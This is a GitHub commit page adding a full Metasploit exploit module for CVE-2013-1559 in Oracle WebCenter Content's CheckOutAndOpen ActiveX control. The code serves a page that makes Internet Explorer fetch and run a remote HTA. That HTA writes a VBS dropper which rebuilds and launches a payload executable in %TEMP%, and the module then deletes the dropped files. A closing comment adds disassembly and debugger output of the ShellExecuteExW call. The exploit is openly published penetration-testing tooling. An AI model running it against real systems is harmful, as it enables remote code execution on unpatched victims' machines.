Skip to content

Commit cb33c56

Browse files
committed
Landing rapid7#1890 - Oracle WebCenter Content openWebdav() vulnerability
2 parents 866ebf7 + 5939ca8 commit cb33c56

File tree

1 file changed

+262
-0
lines changed

1 file changed

+262
-0
lines changed
Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution",
19+
'Description' => %q{
20+
This modules exploits a vulnerability found in the Oracle WebCenter Content
21+
CheckOutAndOpenControl ActiveX. This vulnerability exists in openWebdav(), where
22+
user controlled input is used to call ShellExecuteExW(). This module abuses the
23+
control to execute an arbitrary HTA from a remote location. This module has been
24+
tested successfully with the CheckOutAndOpenControl ActiveX installed with Oracle
25+
WebCenter Content 11.1.1.6.0.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
31+
'juan vazquez' # Metasploit module
32+
],
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-1559' ],
36+
[ 'OSVDB', '92386' ],
37+
[ 'BID', '59122' ],
38+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2013-1899555.html' ],
39+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-094/' ]
40+
],
41+
'Payload' =>
42+
{
43+
'Space' => 2048,
44+
'StackAdjustment' => -3500
45+
},
46+
'DefaultOptions' =>
47+
{
48+
'InitialAutoRunScript' => 'migrate -f -k'
49+
},
50+
'Platform' => 'win',
51+
'Targets' =>
52+
[
53+
[ 'Automatic', {} ]
54+
],
55+
'Privileged' => false,
56+
'DisclosureDate' => "Apr 16 2013",
57+
'DefaultTarget' => 0))
58+
end
59+
60+
def exploit
61+
@var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
62+
@dropped_files = [
63+
@var_exename
64+
]
65+
super
66+
end
67+
68+
def on_new_session(session)
69+
if session.type == "meterpreter"
70+
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
71+
end
72+
73+
@dropped_files.delete_if do |file|
74+
win_file = file.gsub("/", "\\\\")
75+
if session.type == "meterpreter"
76+
begin
77+
wintemp = session.fs.file.expand_path("%TEMP%")
78+
win_file = "#{wintemp}\\#{win_file}"
79+
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
80+
session.fs.file.rm(win_file)
81+
print_good("Deleted #{file}")
82+
true
83+
rescue ::Rex::Post::Meterpreter::RequestError
84+
print_error("Failed to delete #{win_file}")
85+
false
86+
end
87+
88+
end
89+
end
90+
end
91+
92+
def build_hta(cli)
93+
var_shellobj = rand_text_alpha(rand(5)+5);
94+
var_fsobj = rand_text_alpha(rand(5)+5);
95+
var_fsobj_file = rand_text_alpha(rand(5)+5);
96+
var_vbsname = rand_text_alpha(rand(5)+5);
97+
var_writedir = rand_text_alpha(rand(5)+5);
98+
99+
var_origLoc = rand_text_alpha(rand(5)+5);
100+
var_byteArray = rand_text_alpha(rand(5)+5);
101+
var_writestream = rand_text_alpha(rand(5)+5);
102+
var_strmConv = rand_text_alpha(rand(5)+5);
103+
104+
p = regenerate_payload(cli);
105+
exe = generate_payload_exe({ :code => p.encoded })
106+
107+
# Doing in this way to bypass the ADODB.Stream restrictions on JS,
108+
# even when executing it as an "HTA" application
109+
# The encoding code has been stolen from ie_unsafe_scripting.rb
110+
print_status("Encoding payload into vbs/javascript/hta...");
111+
112+
# Build the content that will end up in the .vbs file
113+
vbs_content = Rex::Text.to_hex(%Q|
114+
Dim #{var_origLoc}, s, #{var_byteArray}
115+
#{var_origLoc} = SetLocale(1033)
116+
|)
117+
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
118+
# for conversion with ADODB.Stream
119+
vbs_ary = []
120+
# The output of this loop needs to be as small as possible since it
121+
# gets repeated for every byte of the executable, ballooning it by a
122+
# factor of about 80k (the current size of the exe template). In its
123+
# current form, it's down to about 4MB on the wire
124+
exe.each_byte do |b|
125+
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
126+
end
127+
vbs_content << vbs_ary.join("")
128+
129+
# Continue with the rest of the vbs file;
130+
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
131+
# Then use ADODB.Stream again to write the binary to file.
132+
#print_status("Finishing vbs...");
133+
vbs_content << Rex::Text.to_hex(%Q|
134+
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
135+
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
136+
137+
Set #{var_strmConv} = CreateObject("ADODB.Stream")
138+
139+
#{var_strmConv}.Type = 2
140+
#{var_strmConv}.Charset = "x-ansi"
141+
#{var_strmConv}.Open
142+
#{var_strmConv}.WriteText s, 0
143+
#{var_strmConv}.Position = 0
144+
#{var_strmConv}.Type = 1
145+
#{var_strmConv}.SaveToFile #{var_writedir}, 2
146+
147+
SetLocale(#{var_origLoc})|)
148+
149+
hta = <<-EOS
150+
<script>
151+
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
152+
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
153+
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
154+
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
155+
156+
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
157+
#{var_fsobj_file}.Close();
158+
159+
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
160+
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
161+
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
162+
window.close();
163+
</script>
164+
EOS
165+
166+
return hta
167+
end
168+
169+
def on_request_uri(cli, request)
170+
agent = request.headers['User-Agent']
171+
172+
if agent !~ /MSIE \d/
173+
print_error("Browser not supported: #{agent.to_s}")
174+
send_not_found(cli)
175+
return
176+
end
177+
178+
print_status("Request received for #{request.uri}");
179+
180+
if request.uri =~ /\.hta$/
181+
hta = build_hta(cli)
182+
print_status("Sending HTA application")
183+
send_response(cli, hta, {'Content-Type'=>'application/hta'})
184+
return
185+
end
186+
187+
uri = "#{get_uri}#{rand_text_alpha(rand(3) + 3)}.hta"
188+
189+
html = <<-EOS
190+
<html>
191+
<body>
192+
<object id="target" width="100%" height="100%" classid="clsid:A200D7A4-CA91-4165-9885-AB618A39B3F0"></object>
193+
<script>
194+
target.openWebdav("#{uri}");
195+
</script>
196+
</body>
197+
</html>
198+
EOS
199+
200+
print_status("Sending HTML")
201+
send_response(cli, html, {'Content-Type'=>'text/html'})
202+
203+
end
204+
205+
end
206+
207+
=begin
208+
209+
* The vulnerable control tries to solve how to open the provided extension
210+
211+
.text:100099FC lea eax, [ebp+830h+Src]
212+
.text:10009A02 push eax ; lpResult
213+
.text:10009A03 lea eax, [ebp+830h+Directory]
214+
.text:10009A06 push eax ; lpDirectory
215+
.text:10009A07 lea eax, [ebp+830h+PathName]
216+
.text:10009A0D push eax ; lpFile
217+
.text:10009A0E call ds:FindExecutableW ; This function returns the executable associated with the specified file for the default verb
218+
219+
* If succeeds, the provided user data is used as argument:
220+
221+
.text:10009D8F lea eax, [ebp+psz]
222+
.text:10009D95 mov [ebp+pExecInfo.lpFile], eax
223+
.text:10009D9B mov eax, [ebp+var_238]
224+
.text:10009DA1 mov [ebp+pExecInfo.cbSize], 3Ch
225+
.text:10009DAB mov [ebp+pExecInfo.fMask], 2000000h
226+
.text:10009DB5 mov [ebp+pExecInfo.hwnd], ebx
227+
.text:10009DBB mov [ebp+pExecInfo.lpVerb], offset aOpen ; "open"
228+
.text:10009DC5 jnb short loc_10009DCD
229+
.text:10009DC7 lea eax, [ebp+var_238]
230+
.text:10009DCD
231+
.text:10009DCD loc_10009DCD: ; CODE XREF: make_ShellExecute_sub_10009ACC+2F9j
232+
.text:10009DCD mov [ebp+pExecInfo.lpParameters], eax
233+
.text:10009DD3 lea eax, [ebp+pExecInfo]
234+
.text:10009DD9 push eax ; pExecInfo
235+
.text:10009DDA mov [ebp+pExecInfo.lpDirectory], ebx
236+
.text:10009DE0 mov [ebp+pExecInfo.nShow], 0Ah
237+
.text:10009DEA call ds:ShellExecuteExW
238+
239+
* On the debugger:
240+
241+
Breakpoint 1 hit
242+
eax=0201ef6c ebx=00000000 ecx=00000000 edx=03850608 esi=00000008 edi=00000000
243+
eip=10009dea esp=0201ee08 ebp=0201f200 iopl=0 nv up ei pl nz ac po nc
244+
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
245+
CheckOutAndOpen!DllUnregisterServer+0x7108:
246+
10009dea ff156cd20210 call dword ptr [CheckOutAndOpen!DllUnregisterServer+0x2a58a (1002d26c)] ds:0023:1002d26c={SHELL32!ShellExecuteExW (7ca02f03)}
247+
0:007> dd esp
248+
0201ee08 0201ef6c <== pExecInfo
249+
0:007> dd 0201ef6c
250+
0201ef6c 0000003c 02000000 00000000 10031468
251+
0201ef7c 0201efe0 03854688
252+
0:007> du 0201efe0
253+
0201efe0 "C:\WINDOWS\system32\mshta.exe"
254+
0:007> du 03854688
255+
03854688 ""http://192.168.172.1:8080/xKRTv"
256+
038546c8 "m0mqpAt7sEYdVq.hta""
257+
258+
This code allows to launch other executables with user data provided as argument, but at the moment I like the HTA
259+
solution because it allows to pass URL's as arguments. And code executed by mshta is on a privileged zone. Other
260+
executables allow to provide SMB URI's but metasploit only allow to 'simulate' a SMB resource through webdav, so
261+
the target should have the WebClient service enabled, which is only enabled by default on XP SP3.
262+
=end

0 commit comments

Comments
 (0)